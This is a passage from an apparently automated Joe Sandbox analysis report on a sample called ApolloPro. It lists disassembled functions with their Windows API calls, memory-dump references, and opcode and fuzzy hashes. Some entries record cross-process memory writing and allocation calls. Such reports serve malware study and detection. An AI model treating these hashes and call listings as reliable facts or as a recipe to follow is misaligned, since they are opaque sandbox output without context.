                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                                    • String ID:
                                                                    • API String ID: 842720411-0
                                                                    • Opcode ID: 5cfe29eb9933763b8b5ed075b204452a85cdac376f7ebeb736c877ef5ace8ebd
                                                                    • Instruction ID: 76db408ec64f5f0390e2a38de24afaf352211ac497424caeef3c1b99d8f9ef82
                                                                    • Opcode Fuzzy Hash: 5cfe29eb9933763b8b5ed075b204452a85cdac376f7ebeb736c877ef5ace8ebd
                                                                    • Instruction Fuzzy Hash: 240169B4200204FFDB204FA6DC88D6B7FADFF8A754B500529FA89C3260DA319C50CE60
                                                                    Function 008157FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0081581B
                                                                    • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00815829
                                                                    • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00815831
                                                                    • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0081583B
                                                                    • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00815877
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                    • String ID:
                                                                    • API String ID: 2833360925-0
                                                                    • Opcode ID: fbc659d98951e4aae13171317f6596f7ab1d2ff099a249448fe3f06640eacb74
                                                                    • Instruction ID: 12d80f86de35e5dd96ad51ca250545770f2a593eb696edf00b41da9adb9ce215
                                                                    • Opcode Fuzzy Hash: fbc659d98951e4aae13171317f6596f7ab1d2ff099a249448fe3f06640eacb74
                                                                    • Instruction Fuzzy Hash: 5201E235901A2DDBDB00ABA5D8499EEBBBCFF49B11F004566E601E2140DB349590CBA1
                                                                    Function 00807D28 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00807C62,80070057,?,?,?,00808073), ref: 00807D45
                                                                    • ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00807C62,80070057,?,?), ref: 00807D60
                                                                    • lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00807C62,80070057,?,?), ref: 00807D6E
                                                                    • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00807C62,80070057,?), ref: 00807D7E
                                                                    • CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00807C62,80070057,?,?), ref: 00807D8A
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: From$Prog$FreeStringTasklstrcmpi
                                                                    • String ID:
                                                                    • API String ID: 3897988419-0
                                                                    • Opcode ID: 6b812532c3ce569ac9f24fd19e4b7af7203ae4c4bec306bdd9ac93e9d5c1eb6e
                                                                    • Instruction ID: b8fa6fcdf949c92e03408a479b756c62dad57dadf201317189de086415f04409
                                                                    • Opcode Fuzzy Hash: 6b812532c3ce569ac9f24fd19e4b7af7203ae4c4bec306bdd9ac93e9d5c1eb6e
                                                                    • Instruction Fuzzy Hash: 3301DF7AA01218BBDB504F54DD04BAA7BADFF48352F104029FE08D2214E732ED00CBE0
                                                                    Function 00808CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00808CDE
                                                                    • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00808CE8
                                                                    • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00808CF7
                                                                    • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00808CFE
                                                                    • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00808D14
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                    • String ID:
                                                                    • API String ID: 44706859-0
                                                                    • Opcode ID: 2dd5b548c50ae886b5892daea02e1af97d5111aad6f509f5b7acd8b695853cdc
                                                                    • Instruction ID: db8ee2641a8f24fa88b693337ef8126d5394ca0923a7c2e5e74177c33ffda0e2
                                                                    • Opcode Fuzzy Hash: 2dd5b548c50ae886b5892daea02e1af97d5111aad6f509f5b7acd8b695853cdc
                                                                    • Instruction Fuzzy Hash: 20F04F39200204BFEF614FA59C89E673BADFF5A754B104529FE45C7190CA719C41DF60
                                                                    Function 00808D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00808D3F
                                                                    • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00808D49
                                                                    • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00808D58
                                                                    • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00808D5F
                                                                    • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00808D75
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                    • String ID:
                                                                    • API String ID: 44706859-0
                                                                    • Opcode ID: 4b8a9d4c72c313ff1acef679314ab8ad29391dbff75e551eab65650dd556fab7
                                                                    • Instruction ID: e63fe332d2975127c2d80490dacac137ff33e831a4ad07eace776214f77dba06
                                                                    • Opcode Fuzzy Hash: 4b8a9d4c72c313ff1acef679314ab8ad29391dbff75e551eab65650dd556fab7
                                                                    • Instruction Fuzzy Hash: E7F08C34200204EFEB610FA4EC88F673BACFF4A754F040219FA84C3190CA709D40DA60
                                                                    Function 0080CD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDlgItem.USER32(?,000003E9), ref: 0080CD90
                                                                    • GetWindowTextW.USER32(00000000,?,00000100), ref: 0080CDA7
                                                                    • MessageBeep.USER32(00000000), ref: 0080CDBF
                                                                    • KillTimer.USER32(?,0000040A), ref: 0080CDDB
                                                                    • EndDialog.USER32(?,00000001), ref: 0080CDF5
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                    • String ID:
                                                                    • API String ID: 3741023627-0
                                                                    • Opcode ID: bc1d8e2a3e73d1ab1c5ebb9624a499445a8134a3f8b699cb50ab0d7b62886dda
                                                                    • Instruction ID: 7b4cbc34f72781e6fd97d7aa7a25115923b2c40d6a69080e246acfb8a3d2cc54
                                                                    • Opcode Fuzzy Hash: bc1d8e2a3e73d1ab1c5ebb9624a499445a8134a3f8b699cb50ab0d7b62886dda
                                                                    • Instruction Fuzzy Hash: CC016234510708ABEB215F60DD8EBA67BB8FB11705F010669AA83A10E1DBF4A954CE80
                                                                    Function 007B178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • EndPath.GDI32(?), ref: 007B179B
                                                                    • StrokeAndFillPath.GDI32(?,?,007EBBC9,00000000,?), ref: 007B17B7
                                                                    • SelectObject.GDI32(?,00000000), ref: 007B17CA
                                                                    • DeleteObject.GDI32 ref: 007B17DD
                                                                    • StrokePath.GDI32(?), ref: 007B17F8
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                    • String ID:
                                                                    • API String ID: 2625713937-0
                                                                    • Opcode ID: 011595c4baa67477d7300ef30037bc08548f5d1093a26432005bc306f5c6b76d
                                                                    • Instruction ID: 8a90ef0260cf804a7459768f9bbffac3980353ad225a6f56ba8267981982aaf4
                                                                    • Opcode Fuzzy Hash: 011595c4baa67477d7300ef30037bc08548f5d1093a26432005bc306f5c6b76d
                                                                    • Instruction Fuzzy Hash: 80F03C30008648EBDB255F25EC0CB9A3FA4BB02322F888224F92D851F5CB3489D5DF56
                                                                    Function 0081C9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CoInitialize.OLE32(00000000), ref: 0081CA75
                                                                    • CoCreateInstance.OLE32(00843D3C,00000000,00000001,00843BAC,?), ref: 0081CA8D
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                    • CoUninitialize.OLE32 ref: 0081CCFA
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CreateInitializeInstanceUninitialize_memmove
                                                                    • String ID: .lnk
                                                                    • API String ID: 2683427295-24824748
                                                                    • Opcode ID: e5fcfa33bac74b1256c09463f7a21bcdade0e57103b259e4e432ea105fb359b7
                                                                    • Instruction ID: 5d8edf7ccbcf3d68dd1b1326e6de7d8bbda616c1c6f50f1850cb8cefa56eb29a
                                                                    • Opcode Fuzzy Hash: e5fcfa33bac74b1256c09463f7a21bcdade0e57103b259e4e432ea105fb359b7
                                                                    • Instruction Fuzzy Hash: 47A15971104205AFD300EF64C885EABB7ECFF95314F40492CF555972A2EB70EA49CBA2
                                                                    Function 007BE3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007D0FE6: std::exception::exception.LIBCMT ref: 007D101C
                                                                      • Part of subcall function 007D0FE6: __CxxThrowException@8.LIBCMT ref: 007D1031
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                      • Part of subcall function 007C1680: _memmove.LIBCMT ref: 007C16DB
                                                                    • __swprintf.LIBCMT ref: 007BE598
                                                                    Strings
                                                                    • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 007BE431
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
                                                                    • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                    • API String ID: 1943609520-557222456
                                                                    • Opcode ID: bd22a59e9794fef4f6835cc84da0c6f185c60d67bdd68d3287b472d63d005244
                                                                    • Instruction ID: d6f5646623fd74ff3e94a49fb73d5c8a9a72037dbe92ad7eb36979caff24e155
                                                                    • Opcode Fuzzy Hash: bd22a59e9794fef4f6835cc84da0c6f185c60d67bdd68d3287b472d63d005244
                                                                    • Instruction Fuzzy Hash: 29918071504205DFC724EF24C899EBEB7B4EF96700F40492DF596973A2EA28ED44CB92
                                                                    Function 007D523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __startOneArgErrorHandling.LIBCMT ref: 007D52CD
                                                                      • Part of subcall function 007E0320: __87except.LIBCMT ref: 007E035B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorHandling__87except__start
                                                                    • String ID: pow
                                                                    • API String ID: 2905807303-2276729525
                                                                    • Opcode ID: c7c637c34cfee8f4430c9b0e83569021afa1de9a7ab3284fffff7a41f3faa4ae
                                                                    • Instruction ID: 93d9576fc1a289549dcf7192335d7a63c09fa5286c66e5efe93ea8b0b854c8db
                                                                    • Opcode Fuzzy Hash: c7c637c34cfee8f4430c9b0e83569021afa1de9a7ab3284fffff7a41f3faa4ae
                                                                    • Instruction Fuzzy Hash: A0518D61A0A681C7CB117719CA4537E7BB0BB06750F344D5AE0C5863E9EEBC8CD8DAD2
                                                                    Function 007D0654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: #$+
                                                                    • API String ID: 0-2552117581
                                                                    • Opcode ID: d32ef84d3825a0f8d206ab65d422542b8e91239aca91719bf2729d5bc8b4cc48
                                                                    • Instruction ID: 8e0e859ac55234eed08cc532a20942417ec6acc94408a649d97207416a0e157b
                                                                    • Opcode Fuzzy Hash: d32ef84d3825a0f8d206ab65d422542b8e91239aca91719bf2729d5bc8b4cc48
                                                                    • Instruction Fuzzy Hash: 6251F275500256CFDF55DF28C844AFA7BB4FF56320F544069E8919B2D0E738AC62CBA0
                                                                    Function 007BE7F7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove$_free
                                                                    • String ID: #V|
                                                                    • API String ID: 2620147621-1880680046
                                                                    • Opcode ID: 307fe0f6c04332e43e7c79a5d7c95c5fea1d0ae2177e1a7c333ad9ad1ceda9d7
                                                                    • Instruction ID: ed535e83c9755e8840e693aa4b0c206d1903e84a31cc579b4f55ccb1440b3024
                                                                    • Opcode Fuzzy Hash: 307fe0f6c04332e43e7c79a5d7c95c5fea1d0ae2177e1a7c333ad9ad1ceda9d7
                                                                    • Instruction Fuzzy Hash: 15515A716083418FDB24CF28C494BABBBE5BF89314F54892DE98987351E739E841CB52
                                                                    Function 007CCF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memset$_memmove
                                                                    • String ID: ERCP
                                                                    • API String ID: 2532777613-1384759551
                                                                    • Opcode ID: 61bbc79395be01e8071176a895e7bcf162607f210f61ec1dad3d4414fa720f58
                                                                    • Instruction ID: 3ec1d85f49af74cb3161698afc51779216fd8d2d3629a26d2297f4a126395204
                                                                    • Opcode Fuzzy Hash: 61bbc79395be01e8071176a895e7bcf162607f210f61ec1dad3d4414fa720f58
                                                                    • Instruction Fuzzy Hash: CA51A1B1A007099BDB34CF68C885BAABBF8FF04314F14857EE55ADB281E7359985CB50
                                                                    Function 0080A3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00811CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00809E4E,?,?,00000034,00000800,?,00000034), ref: 00811CE5
                                                                    • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0080A3F7
                                                                      • Part of subcall function 00811C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00809E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00811CB0
                                                                      • Part of subcall function 00811BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00811C08
                                                                      • Part of subcall function 00811BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00809E12,00000034,?,?,00001004,00000000,00000000), ref: 00811C18
                                                                      • Part of subcall function 00811BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00809E12,00000034,?,?,00001004,00000000,00000000), ref: 00811C2E
                                                                    • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0080A464
                                                                    • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0080A4B1
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                                    • String ID: @
                                                                    • API String ID: 4150878124-2766056989
                                                                    • Opcode ID: bed21df3d66927bc9cbb73a772694fa17fc19fa5dc10c3c868b0fb182c2e04ed
                                                                    • Instruction ID: e7bb96081617db6619c979dfd4c4e5f8e403be2065c56a3495b6f85e552a4f83
                                                                    • Opcode Fuzzy Hash: bed21df3d66927bc9cbb73a772694fa17fc19fa5dc10c3c868b0fb182c2e04ed
                                                                    • Instruction Fuzzy Hash: 2A412A7690121CAEDF14DBA8CD85AEEBBB8FF45340F004099FA55B7180DA706E85CBA1
                                                                    Function 008379FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00837A86
                                                                    • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00837A9A
                                                                    • SendMessageW.USER32(?,00001002,00000000,?), ref: 00837ABE
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Window
                                                                    • String ID: SysMonthCal32
                                                                    • API String ID: 2326795674-1439706946
                                                                    • Opcode ID: 4d9bf6a4cd71947049b6b7266cfb67e9486c7b9aaf60c09862fd142eca8e78f8
                                                                    • Instruction ID: 6a1acca3dcd6dc91fa09b5d21ab29c6148c7353a6c200b49a5f9e582f2d52469
                                                                    • Opcode Fuzzy Hash: 4d9bf6a4cd71947049b6b7266cfb67e9486c7b9aaf60c09862fd142eca8e78f8
                                                                    • Instruction Fuzzy Hash: EF218072604228ABDF258E54CC86FEE3B69FF88724F110114FE15AB190DAB5E851DBD0
                                                                    Function 008381B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
